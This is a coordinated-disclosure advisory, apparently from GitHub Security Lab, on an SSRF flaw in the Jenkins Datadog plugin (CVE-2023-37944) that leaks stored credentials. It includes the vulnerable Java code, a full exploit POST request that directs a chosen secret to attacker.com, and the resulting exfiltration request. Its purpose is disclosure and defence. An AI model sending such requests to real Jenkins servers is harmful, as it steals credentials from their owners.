Coordinated Disclosure Timeline
- 2023-04-13: Issue reported to the Jenkins Security team.
- 2023-07-12: Advisory published (fixed in Datadog Plugin 5.4.2).
Summary
A Server-Side Request Forgery (SSRF) vulnerability in jenkinsci/datadog-plugin
allows the leak of sensitive credentials to an attacker-controlled server. The issue arises from a lack of proper input validation/sanitization of the targetApiURL
parameter in the DatadogGlobalConfiguration#doTestConnection
. These methods read arbitrary credentials from the credentials storage using hardcoded ACL.System
permission and send them to attacker-controlled servers.
Product
datadog-plugin Jenkins plugin
Tested Version
Details
Arbitrary secret leakage via SSRF (GHSL-2023-068
)
The DatadogGlobalConfiguration#doTestConnection
method reads a credential identified by the targetApiKey
query parameter and sends it to the attacker-controlled server specified by the targetApiURL
query parameter:
@RequirePOST
public FormValidation doTestConnection(
@QueryParameter("targetApiKey") final String targetApiKey,
@QueryParameter("targetCredentialsApiKey") final String targetCredentialsApiKey,
@QueryParameter("targetApiURL") final String targetApiURL)
throws IOException, ServletException {
final Secret secret = findSecret(targetApiKey, targetCredentialsApiKey);
if (DatadogHttpClient.validateDefaultIntakeConnection(targetApiURL, secret)) {
return FormValidation.ok("Great! Your API key is valid.");
} else {
return FormValidation.error("Hmmm, your API key seems to be invalid.");
}
}
In order to exploit the vulnerability, the attacker needs to send a request to Jenkins specifying the secret to be read and the server to send it to. For example, to leak the FLAG
credential to attacker.com
the authenticated attacker would need to send the following request:
POST /jenkins/descriptorByName/org.datadog.jenkins.plugins.datadog.DatadogGlobalConfiguration/testConnection?targetApiKey=&targetCredentialsApiKey=FLAG&targetApiURL=https%3A%2F%2Fattacker.com%2F HTTP/1.1
Host: localhost:8080
Content-Length: 0
Jenkins-Crumb: ca9a4763d4daf38491e8f332f2999951e797b7bff50612a549325f2cab4ca203
Cookie: JSESSIONID.d63b7813=node0i7r4w2lll11h1tpmcj7dhj0w93.node0; jenkins-timestamper-offset=-7200000; screenResolution=3840x1600
Connection: close
The attacker needs to be authenticated but no admin privileges are required.
The code responsible to read the arbitrary credentials is:
public StringCredentials getCredentialFromId(String credentialId) {
return CredentialsMatchers.firstOrNull(
CredentialsProvider.lookupCredentials(
StringCredentials.class,
Jenkins.get(),
ACL.SYSTEM,
URIRequirementBuilder.fromUri(null).build()),
CredentialsMatchers.allOf(CredentialsMatchers.withId(credentialId))
);
}
As we can see in the code, regardless of the user privileges, the credentials are read with ACL.SYSTEM
permissions.
Once the credentials are retrieved, they are sent back to the attacker-controlled server which will receive the following GET
request:
GET /v1/validate?api_key=SUPERSECRETFLAG HTTP/1.1
User-Agent: Java/11.0.16.1
Host: vonxbf40kzlqxj90h6qnfxtcg3mual49t.oastify.com
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: keep-alive
This vulnerability was found using CodeQL’s SSRF Java query.
Impact
This vulnerability can lead to sensitive secret credentials leak.
CVE
- CVE-2023-37944
Resources
Credit
This issue was discovered and reported by GHSL team member @pwntester (Alvaro Muñoz).
Contact
You can contact the GHSL team at securitylab@github.com
, please include a reference to GHSL-2023-068
in any communication regarding this issue.